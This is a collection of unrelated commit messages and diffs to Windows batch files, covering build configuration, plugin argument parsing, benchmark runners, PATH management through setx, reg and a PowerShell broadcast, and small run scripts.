+        if not errorlevel 1 (
+            echo ... Symbian abld make found.
+            set MAKE=make
+        )
+    ) else if %BUILDSYSTEM% == symbian-sbsv2 (
+        call make -h >> %PROJECT_LOG% 2>&1
+        if not errorlevel 1 (
+            echo ... Symbian sbsv2 make found.
+            set MAKE=make
+        )
+    ) else if %BUILDSYSTEM% == win32-nmake (
+        call nmake /? >> %PROJECT_LOG% 2>&1
+        if not errorlevel 1 (
+            echo ... nmake found.
+            set MAKE=nmake
+        )
+    ) else if %BUILDSYSTEM% == win32-mingw (
+        call mingw32-make -v >> %PROJECT_LOG% 2>&1
+        if not errorlevel 1 (
+            echo ... mingw32-make found.
+            set MAKE=mingw32-make
+        )
+    ) else (
+        echo ... Unknown target environment %BUILDSYSTEM%.
+    )
+    call cd %CURRENT_PWD%
+call endlocal&set %1=%MAKE%&set %2=%BUILDSYSTEM%&goto :EOF
+
+:checkMake
+echo Checking make
+call :makeTest MOBILITY_MAKE MOBILITY_BUILDSYSTEM
+if not "%MOBILITY_MAKE%" == "" goto compileTests
+
+echo >&2Cannot find 'nmake', 'mingw32-make' or 'make' in your PATH
+echo >&2Aborting.
+goto errorTag
+
+:compileTest
+setlocal
+    echo Checking %1
+    set CURRENT_PWD=%CD%
+
+    if %BUILD_PATH% == %SOURCE_PATH% (
+        cd %SOURCE_PATH%\config.tests\%2
+        if exist %2 del %2
+    ) else (
+        rmdir /S /Q config.tests\%2
+        mkdir config.tests\%2
+        cd config.tests\%2
+    )
+
+    call %QT_PATH%qmake %SOURCE_PATH%\config.tests\%2\%2.pro >> %PROJECT_LOG% 2>&1
+    call %MOBILITY_MAKE% clean >> %PROJECT_LOG% 2>&1
+    call %MOBILITY_MAKE% >> %PROJECT_LOG% 2>&1
+
+    set FAILED=0
+    if %MOBILITY_BUILDSYSTEM% == symbian-sbsv2 (
+        for /f "tokens=2" %%i in ('%MOBILITY_MAKE% SBS^="@sbs --check"') do set FAILED=1
+    ) else if %MOBILITY_BUILDSYSTEM% == symbian-abld (
+        for /f "tokens=2" %%i in ('%MOBILITY_MAKE% ABLD^="@ABLD.BAT -c" 2^>^&1') do if not %%i == bldfiles set FAILED=1
+    ) else if errorlevel 1 (
+        set FAILED=1
+    )
+
+    if %FAILED% == 0 (
+        echo ... OK
+        echo %2_enabled = yes >> %PROJECT_CONFIG%
+    ) else (
+        echo ... Not Found
+        echo %2_enabled = no >> %PROJECT_CONFIG%
+    )
+
+    cd %CURRENT_PWD%
+endlocal&goto :EOF
+
+:compileTests
+
+echo.
+echo Start of compile tests
+REM compile tests go here.
+call :compileTest LBT lbt
+call :compileTest SNAP snap
+call :compileTest OCC occ
+call :compileTest SymbianContactSIM symbiancntsim
+echo End of compile tests
+echo.
+echo.
+
+REM we could skip generating headers if a module is not enabled
+if not exist "%BUILD_PATH%\features" mkdir %BUILD_PATH%\features
+copy %SOURCE_PATH%\features\strict_flags.prf %BUILD_PATH%\features
+echo Generating Mobility Headers...
+rd /s /q %BUILD_PATH%\include
+mkdir %BUILD_PATH%\include
+perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\global
+
+set MODULES_TEMP=%MOBILITY_MODULES%
+
+:generateHeaders
+
+for /f "tokens=1,*" %%a in ("%MODULES_TEMP%") do (
+    set FIRST=%%a
+    set REMAINING=%%b
+)
+
+if %FIRST% == bearer (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\bearer
+) else if %FIRST% == contacts (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\requests
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\filters
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\details
+) else if %FIRST% == location (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\location
+) else if %FIRST% == messaging (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\messaging
+) else if %FIRST% == multimedia (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\multimedia
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\multimedia\experimental
+) else if %FIRST% == publishsubscribe (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\publishsubscribe
+) else if %FIRST% == systeminfo (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\systeminfo
+) else if %FIRST% == serviceframework (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\serviceframework
+) else if %FIRST% == versit (
+    REM versit implies contacts
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\versit
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\requests
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\filters
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\details
+) else if %FIRST% == sensors (
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\sensors
+)
+
+if "%REMAINING%" == "" (
+    shift
+) else (
+    set MODULES_TEMP=%REMAINING%
+    goto generateHeaders
+)
+
+SET REMAINING=
+SET FIRST=
+SET MODULES_TEMP=
+
+if exist config.pri del config.pri
+ren %PROJECT_CONFIG% config.pri
+
+echo.
+echo Running qmake...
+call %QT_PATH%qmake -recursive %VC_TEMPLATE_OPTION% %SOURCE_PATH%\qtmobility.pro
+if errorlevel 1 goto qmakeRecError
+echo.
+echo configure has finished. You may run %MOBILITY_MAKE% to build the project now.
+goto exitTag
+
+:qmakeRecError
+echo.
+echo configure failed.
+goto errorTag
+
+:errorTag
+set BUILD_PATH=
+set CURRENTDIR=
+set MOBILITY_MAKE=
+set MOBILITY_BUILDSYSTEM=
+set PROJECT_CONFIG=
+set PROJECT_LOG=
+set QT_MOBILITY_PREFIX=
+set QT_PATH=
+set SOURCE_PATH=
+set MOBILITY_MODULES=
+set MOBILITY_MODULES_UNPARSED=
+SET REMAINING=
+SET FIRST=
+SET MODULES_TEMP=
+exit /b 1
+
+:exitTag
+set BUILD_PATH=
+set CURRENTDIR=
+set MOBILITY_MAKE=
+set MOBILITY_BUILDSYSTEM=
+set PROJECT_CONFIG=
+set PROJECT_LOG=
+set QT_MOBILITY_PREFIX=
+set QT_PATH=
+set SOURCE_PATH=
+set MOBILITY_MODULES=
+set MOBILITY_MODULES_UNPARSED=
+SET REMAINING=
+SET FIRST=
+SET MODULES_TEMP=
+exit /b 0


real fix for #3

real fix for #3

--- connector.bat
+++ connector.bat
@@ -1 +1,2 @@
-python "%~dp0/connector"
+@echo off
+python "%~dp0/connector" %*


added a clean step in the run batch file

--- run-local.bat
+++ run-local.bat
@@ -1,3 +1,4 @@
 start "" "http://localhost:9778"
+docpad clean
 docpad run
 pause


.SCORES. More error checks in ripp

.SCORES. More error checks in ripp

--- runserver.bat
+++ runserver.bat
@@ -1,4 +1,4 @@
 D:
-cd D:\DevStuff\ripple-v15\lets
+cd D:\DevStuff\newripple\lets
 python lets.py
 pause


Correct site_scons path for windows

Correct site_scons path for windows

--- conda/python-scons/bld.bat
+++ conda/python-scons/bld.bat
@@ -11,7 +11,7 @@
 type NUL > %PREFIX%\etc\conda\deactivate.d\scons_vars.bat
 if errorlevel 1 exit 1

-echo set "CONDA_PREFIX=%CONDA_PREFIX:\=/%" > %PREFIX%\etc\conda\activate.d\scons_vars.bat
+echo set "CONDA_PREFIX=%CONDA_PREFIX:/=\%" > %PREFIX%\etc\conda\activate.d\scons_vars.bat
 echo set SCONSFLAGS="--site-dir=%CONDA_PREFIX%\share\site_scons" > %PREFIX%\etc\conda\activate.d\scons_vars.bat
 if errorlevel 1 exit 1
 echo set SCONSFLAGS= > %PREFIX%\etc\conda\deactivate.d\scons_vars.bat


Parse Java system properties in plugin.bat

Closes #13616

--- distribution/src/main/resources/bin/plugin.bat
+++ distribution/src/main/resources/bin/plugin.bat
@@ -1,6 +1,6 @@
 @echo off

-SETLOCAL
+SETLOCAL enabledelayedexpansion

 if NOT DEFINED JAVA_HOME goto err

@@ -9,9 +9,46 @@

 TITLE Elasticsearch Plugin Manager ${project.version}

+SET properties=
+SET args=
+
+:loop
+SET "current=%~1"
+SHIFT
+IF "x!current!" == "x" GOTO breakloop
+
+IF "!current:~0,2%!" == "-D" (
+    ECHO "!current!" | FINDSTR /C:"=">nul && (
+         :: current matches -D*=*
+         IF "x!properties!" NEQ "x" (
+             SET properties=!properties! "!current!"
+         ) ELSE (
+             SET properties="!current!"
+         )
+    ) || (
+         :: current matches -D*
+         IF "x!properties!" NEQ "x" (
+            SET properties=!properties! "!current!=%~1"
+         ) ELSE (
+            SET properties="!current!=%~1"
+         )
+         SHIFT
+    )
+) ELSE (
+    :: current matches *
+    IF "x!args!" NEQ "x" (
+        SET args=!args! "!current!"
+    ) ELSE (
+        SET args="!current!"
+    )
+)
+
+GOTO loop
+:breakloop
+
 SET HOSTNAME=%COMPUTERNAME%

-"%JAVA_HOME%\bin\java" -client -Des.path.home="%ES_HOME%" -cp "%ES_HOME%/lib/*;" "org.elasticsearch.plugins.PluginManagerCliParser" %*
+"%JAVA_HOME%\bin\java" -client -Des.path.home="%ES_HOME%" !properties! -cp "%ES_HOME%/lib/*;" "org.elasticsearch.plugins.PluginManagerCliParser" !args!
 goto finally


Allow to run all benchmarks and even upload, but fail the job.

--- tests/scripts/run-xunit-perf.cmd
+++ tests/scripts/run-xunit-perf.cmd
@@ -32,15 +32,23 @@
   call :run_cmd xcopy /sy "%CORECLR_REPO%\bin\tests\Windows_NT.%TEST_ARCH%.%TEST_CONFIG%\Tests\Core_Root"\* . >> %RUNLOG%                         || exit /b 1

   rem find and stage the tests
+  set /A "LV_FAILURES=0"
   for /R %CORECLR_PERF% %%T in (*.%TEST_FILE_EXT%) do (
+    rem Skip known failures
     call :run_benchmark %%T || (
-      IF /I NOT "%BENCHVIEW_RUN_TYPE%" == "local" exit /b 1
+      set /A "LV_FAILURES+=1"
     )
   )

   rem optionally upload results to benchview
   if not [%BENCHVIEW_PATH%] == [] (
-    call :upload_to_benchview
+    call :upload_to_benchview || exit /b 1
+  )
+
+  rem Numbers are limited to 32-bits of precision (Int32.MAX == 2^32 - 1).
+  if %LV_FAILURES% NEQ 0 (
+    call :print_error %LV_FAILURES% benchmarks has failed.
+    exit /b %LV_FAILURES%
   )

   exit /b %ERRORLEVEL%
@@ -307,3 +315,19 @@
   call :print_to_console $ %*
   call %*
   exit /b %ERRORLEVEL%
+
+:skip_failures
+rem ****************************************************************************
+rem   Skip known failures
+rem ****************************************************************************
+  IF /I [%TEST_ARCHITECTURE%] == [x86jit32] (
+    IF /I "%~1" == "CscBench" (
+      rem https://github.com/dotnet/coreclr/issues/11088
+      exit /b 1
+    )
+    IF /I "%~1" == "SciMark2" (
+      rem https://github.com/dotnet/coreclr/issues/11089
+      exit /b 1
+    )
+  )
+  exit /b 0


Quick example of setting "latest" to the most recent free version of chef in script/cmtool.bat, and "licensed" to the most recent non-free version.

--- script/cmtool.bat
+++ script/cmtool.bat
@@ -50,13 +50,27 @@
 :: Figure out the Omnitruck product
 if "%CM%" == "chef" (
   set "OMNITRUCK_PRODUCT=chef"
+  set "OMNITRUCK_FREE_VERSION=14.14.29"
 ) else if "%CM%" == "chefdk" (
   set "OMNITRUCK_PRODUCT=chefdk"
+  set "OMNITRUCK_FREE_VERSION=3.12.10"
 ) else if "%CM%" == "chef-workstation" (
   set "OMNITRUCK_PRODUCT=chef-workstation"
+  set "OMNITRUCK_FREE_VERSION=0.3.2"
 ) else (
   echo Unknown Chef Product: %CM%
   goto exit1
+)
+
+:: Check if the user has chosen the most recent free version..
+if "%CM_VERSION%" == "latest" (
+    echo ==^> User has chosen the most recent free version of %OMNITRUCK_PRODUCT%
+    set OMNITRUCK_VERSION=%OMNITRUCK_FREE_VERSION%
+
+:: ...or the most recent licensed version.
+) else if "%CM_VERSION%" == "licensed" (
+    echo ==^> User has chosen the most recent licensed version of %OMNITRUCK_PRODUCT%
+    set OMNITRUCK_VERSION=latest
 )

 :: Deterine the other desired parameters here


Add mysql project to build process

Add mysql project to build process

--- scripts/build.cmd
+++ scripts/build.cmd
@@ -39,6 +39,12 @@
  	goto exit_fail
 )

+dotnet build "%root%\migr8.mysql\migr8.mysql.csproj" -c Release
+if %ERRORLEVEL% neq 0 (
+	popd
+ 	goto exit_fail
+)
+
 popd


Bug fix: Use reg.exe to set system paths for large PATHs, as setx.exe fails if the PATH is > 1KB. If using reg.exe, still use setx on another variable to broadcast the change. Added PowerShell as an alternative broadcast mechanism.

--- Batch/paths.bat
+++ Batch/paths.bat
@@ -1,3 +1,4 @@
+<# :# PowerShell comment block protecting the batch section
 @echo off
 :##############################################################################
 :#                                                                            #
@@ -13,7 +14,8 @@
 :#                  The major advantage of using setx over simply updating    #
 :#                  the registry key, is that setx sends a WM_SETTINGCHANGE   #
 :#                  broadcast to all Windows applications, ensuring that the  #
-:#                  new path is immediately reloaded in all of them.          #
+:#                  new PATH is used for new shells started from explorer.exe.#
+:#                  Else it'd be available only after logging off and back on.#
 :#                                                                            #
 :#  History                                                                   #
 :#   1994-12-07 JFL Created ADDPATH.BAT for DOS and Windows 95.		      #
@@ -44,17 +46,23 @@
 :#                  Added support for moving and removing multiple paths.     #
 :#   2019-12-11 JFL Avoid displaying empty lines when PATH ends with a ;      #
 :#   2020-03-13 JFL Corrected one message and two comments.                   #
+:#   2020-10-01 JFL Bug fix: Use reg.exe to set system paths for large PATHs, #
+:#                  as setx.exe fails if the PATH is > 1KB. If using reg.exe, #
+:#                  still use setx on another variable to broadcast the change.
+:#                  Added PowerShell as an alternative broadcast mechanism.   #
 :#                  							      #
 :#          Copyright 2016 Hewlett Packard Enterprise Development LP         #
 :# Licensed under the Apache 2.0 license  www.apache.org/licenses/LICENSE-2.0 #
 :##############################################################################

 setlocal EnableExtensions EnableDelayedExpansion
-set "VERSION=2020-03-13"
-set "SCRIPT=%~nx0"
-set "SPATH=%~dp0" & set "SPATH=!SPATH:~0,-1!"
-set "SNAME=%~n0"
-set "ARG0=%~f0"
+set "VERSION=2020-10-01"
+
+set "SCRIPT=%~nx0"				&:# Script name
+set "SNAME=%~n0"				&:# Script name, without the extension
+set "SPATH=%~dp0" & set "SPATH=!SPATH:~0,-1!"	&:# Script path, without the trailing \
+set "SFULL=%~f0"				&:# Script full pathname
+set ^"ARG0=%0^"					&:# Script invokation name

 set "ECHO=call :echo"
 set "ECHO.D=call :noop"
@@ -168,6 +176,7 @@
 :# Note: The XP version of setx.exe requires the option -m or -M, but fails with /M. The Win7 version supports all.
 if "%~1"=="-s" set "OBJECT=MasterPath" & set "SETXOPT=-M" & set "MKEY=%MENVKEY%" & set "OWNER=system" & goto :next_arg
 if "%~1"=="-t" set "WHERE=tail" & goto :next_arg
+if "%~1"=="-tb" goto :TestBroadcast
 if "%~1"=="-u" set "OBJECT=MasterPath" & set "SETXOPT=" & set "MKEY=%UENVKEY%" & set "OWNER=user" & goto :next_arg
 if "%~1"=="-v" set "VERBOSE=1" & goto :next_arg
 if "%~1"=="-V" (echo.%VERSION%) & exit /b
@@ -185,6 +194,8 @@
 if not defined PATHVAR set "PATHVAR=PATH"
 goto :%OBJECT%.%METHOD%

+:#----------------------------------------------------------------------------#
+:#                      Manage paths in the local shell                       #
 :#----------------------------------------------------------------------------#

 :LocalPath.Echo %1=Optional variable name. Default=PATHVAR
@@ -277,6 +288,8 @@
 goto :LocalPath.Set

 :#----------------------------------------------------------------------------#
+:#                  Manage persistent user and system paths                   #
+:#----------------------------------------------------------------------------#

 :MasterPath.Get
 setlocal EnableExtensions DisableDelayedExpansion
@@ -326,22 +339,24 @@
 :# goto :MasterPath.Set

 :MasterPath.Set
-set "SETX="
+set "MORE_THAN_1KB=!MPATH:~1024!" &:# Defined if the new PATH is larger than 1 KB
+:# Gotcha: reg.exe and setx.exe interpret a trailing \" as escaping the "
+if "!MPATH:~-1!"=="\" set "MPATH=!MPATH!\"
+set "CMD="
+set "NEED_BROADCAST=0"
 for /f %%i in ("setx.exe") do set "SETX=%%~$PATH:i"
-if defined SETX ( :# If setx.exe is in the PATH, then use it. (Preferred)
-  :# Gotcha: regex.exe does interpret a trailing \" as escaping the "
-  if "!MPATH:~-1!"=="\" set "MPATH=!MPATH!\"
-  :# setx.exe updates the %PATHVAR%, and _does_ broadcast a WM_SETTINGCHANGE to all apps
-:# Note: The XP version of setx.exe requires the option -m or -M, but fails with /M. The Win7 version supports all.
-  set CMD=setx %PATHVAR% "!MPATH!" %SETXOPT%
-) else ( :# Fallback to updating the registry value manually using reg.exe.
+if not defined MORE_THAN_1KB ( :# If the PATH is less than 1KB long, then try using setx
+  if defined SETX ( :# If setx.exe is in the PATH, then use it. (Preferred if within the 1KB limit)
+    :# setx.exe updates the %PATHVAR%, and _does_ broadcast a WM_SETTINGCHANGE to all apps
+    :# Note: The XP version of setx.exe requires the option -m or -M, but fails with /M. The Win7 version supports all.
+    set ^"CMD=setx %PATHVAR% "!MPATH!" %SETXOPT%^"
+  )
+)
+if not defined CMD ( :# Fallback to updating the registry value manually using reg.exe.
   :# reg.exe updates the %PATHVAR%, but does _not_ broadcast a WM_SETTINGCHANGE to all apps
   :# Note: On XP, /f does not work if it is the last option.
-  set CMD=reg add "%MKEY%" /f /v %PATHVAR% /d "%MPATH%"
-  echo Warning: setx.exe is not available on this system.
-  echo The %OWNER%'s default PATH update will only be visible after a reboot.
-  echo Note: setx.exe is standard in Windows Vista and later versions.
-  echo       A version for Windows XP is available in the XP Resource Kit.
+  set ^"CMD=reg add "%MKEY%" /f /v %PATHVAR% /d "%MPATH%"^"
+  set "NEED_BROADCAST=1"
 )
 if "%NOEXEC%"=="0" (	:# Normal execution mode
   :# Redirect the "SUCCESS: Specified value was saved." message to NUL.
@@ -351,6 +366,34 @@
 ) else (		:# NoExec mode. Just echo the command to execute.
   echo %CMD%
 )
+:# If the update was done with reg.exe, we need to tell Windows Explorer about the change
+if "%NEED_BROADCAST%"=="1" (
+  :# Find a way to broadcast a WM_SETTINGCHANGE message
+  set "CMD="
+  if defined SETX ( :# If setx.exe is in the PATH, then use it. (Preferred, as this is faster)
+    :# setx.exe updates _does_ broadcast a WM_SETTINGCHANGE to all apps
+    :# Note: The XP version of setx.exe requires the option -m or -M, but fails with /M. The Win7 version supports all.
+    :# Change a system variable, for both cases of the user or system PATHs.
+    set "VAR=PROCESSOR_ARCHITECTURE" &:# This system variable is always short, and is unlikely to ever change
+    set ^"CMD=setx !VAR! -k "%MENVKEY%\!VAR!" -m^"
+  ) else ( :# If powershell.exe is in the PATH, then use it to run the PS routine at the send of this script. (Slower)
+    for /f %%i in ("powershell.exe") do set "POWERSHELL=%%~$PATH:i"
+    if defined POWERSHELL set ^"CMD=powershell -c "Invoke-Expression $([System.IO.File]::ReadAllText('%SFULL%'))"^"
+  )
+  if defined CMD (
+    if "%NOEXEC%"=="0" (	:# Normal execution mode
+      :# Redirect the "SUCCESS: Specified value was saved." message to NUL.
+      :# Errors, if any, will still be output on stderr.
+      if "%VERBOSE%"=="1" echo :# !CMD!   ^&:# Broadcast a WM_SETTINGCHANGE message
+      !CMD! >NUL
+    ) else (		:# NoExec mode. Just echo the command to execute.
+      echo !CMD!   ^&:# Broadcast a WM_SETTINGCHANGE message
+    )
+  ) else if "%QUIET%"=="0" ( :# Only happens in Windows XP or Windows 7 without setx.exe and PowerShell
+    echo Warning: Could not find a way to broadcast the change to other applications.
+    echo New shells will only have the updated PATH after you log off and log back in.
+  )
+)
 if "%NOEXEC%"=="0" if "%QUIET%"=="0" goto :MasterPath.Echo
 exit /b

@@ -380,5 +423,60 @@
 goto :MasterPath.Set

 :#----------------------------------------------------------------------------#
-
-
+:#           Broadcast a WM_SETTINGCHANGE message using PowerShell            #
+:#----------------------------------------------------------------------------#
+
+:# Test the WM_SETTINGCHANGE broadcast
+:TestBroadcast
+:# Run a second instance of this script in PowerShell, to do the broadcast
+:# This first command is simpler, but does not work in all versions of PowerShell
+:# type %ARG0% | PowerShell -c -
+:# Instead, use this one that works from Win7/PSv2 to Win10/PSv5
+PowerShell -c "Invoke-Expression $([System.IO.File]::ReadAllText('%SFULL%'))"
+exit /b
+
+:# End of the PowerShell comment section protecting the batch section.
+#>
+
+# PowerShell subroutine called from the batch setup routine
+
+# Redefine the colors for a few message types
+$colors = (Get-Host).PrivateData
+if ($colors) { # Exists for ConsoleHost, but not for ServerRemoteHost
+  $colors.VerboseForegroundColor = "white"	# Less intrusive than the default yellow
+  $colors.DebugForegroundColor = "cyan"		# Distinguish debug messages from yellow warning messages
+}
+
+# Inherit the DEBUG mode from the batch instance
+if ($env:DEBUG -eq 1) {
+  $Debug = $true
+  $DebugPreference = "Continue"		# Make sure Write-Debug works
+} else {
+  $Debug = $false
+  $DebugPreference = "SilentlyContinue"	# Write-Debug does nothing
+}
+
+Write-Debug "# This is PowerShell, broadcasting WM_SETTINGCHANGE for the Environment"
+
+# import sendmessagetimeout from win32
+add-type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
+  [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
+  public static extern IntPtr SendMessageTimeout(
+    IntPtr hWnd, uint Msg, UIntPtr wParam, string lParam,
+    uint fuFlags, uint uTimeout, out UIntPtr lpdwResult
+  );
+"@
+
+function Invoke-WMSettingsChanged {
+  $HWND_BROADCAST = [intptr]0xffff;
+  $WM_SETTINGCHANGE = 0x1a;
+  $result = [uintptr]::zero
+  # notify all windows of environment block change
+  $done = [win32.nativemethods]::SendMessageTimeout($HWND_BROADCAST, $WM_SETTINGCHANGE,
+	    [uintptr]::Zero, "Environment", 2, 5000, [ref]$result);
+  return $done # 0=Failed. Check GetLastError(); !0=Success
+}
+
+$done = Invoke-WMSettingsChanged
+
+return


[Build] Removed signed build form cmd file as it is not used in CI.

--- Build/MakeSharpDX.Assemblies.VS2013.cmd
+++ Build/MakeSharpDX.Assemblies.VS2013.cmd
@@ -2,4 +2,4 @@
 setlocal
 set PATH=C:\Program Files (x86)\Git\bin\;%PATH%
 call "C:\Program Files (x86)\Microsoft Visual Studio 12.0\vc\vcvarsall.bat" x86
-msbuild /tv:12.0 /p:BuildSignedSharpDX=true /t:Build /verbosity:quiet /clp:ErrorsOnly /fl /flp:Summary;Verbosity=minimal;logfile=BuildErrors.log;Append=true %* SharpDX.build
+msbuild /tv:12.0 /p:BuildSignedSharpDX=false /t:Build /verbosity:quiet /clp:ErrorsOnly /fl /flp:Summary;Verbosity=minimal;logfile=BuildErrors.log;Append=true %* SharpDX.build


Update mrl.bat (#27)

Update mrl.bat (#27)

--- home/moz4r/mrl.bat
+++ home/moz4r/mrl.bat
@@ -1,3 +1,3 @@
 taskkill.exe /F /IM java.exe
 taskkill.exe /F /IM javaW.exe
-java -jar myrobotlab.jar -service python Python webGui WebGui -invoke python execFile %cd%/MyaiBot-Pictures.py
+java -jar myrobotlab.jar -service python Python webGui WebGui -invoke python execFile %cd%/MyaiBot.py


Update install_oasys_windows.bat

Update install_oasys_windows.bat

--- Developers/Windows/install_oasys_windows.bat
+++ Developers/Windows/install_oasys_windows.bat
@@ -12,7 +12,11 @@
 pip install silx

-pip install srxraylib
+#pip install srxraylib
+
+# for the moment oasys1-srwpy 1.0.2 is not available for windows, so use older version
+
+pip install https://files.pythonhosted.org/packages/08/6e/34d810ca5acfbab9850ed887dc9362683f4dc895aa9e7da543d7a072d121/oasys_srwpy-1.0.0-cp37-cp37m-win_amd64.whl

 pip install syned


commit on 02/11/2018 at 20:38:47

commit on 02/11/2018 at 20:38:47

--- windows-cmd/startPipeVK30.cmd
+++ windows-cmd/startPipeVK30.cmd
@@ -1 +1 @@
-cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A5S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A5S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A10S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A5S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A10S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A50S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A1S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A2S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A3S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A5S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A10S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A50S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipeLPC.cmd 1_618A100S100F
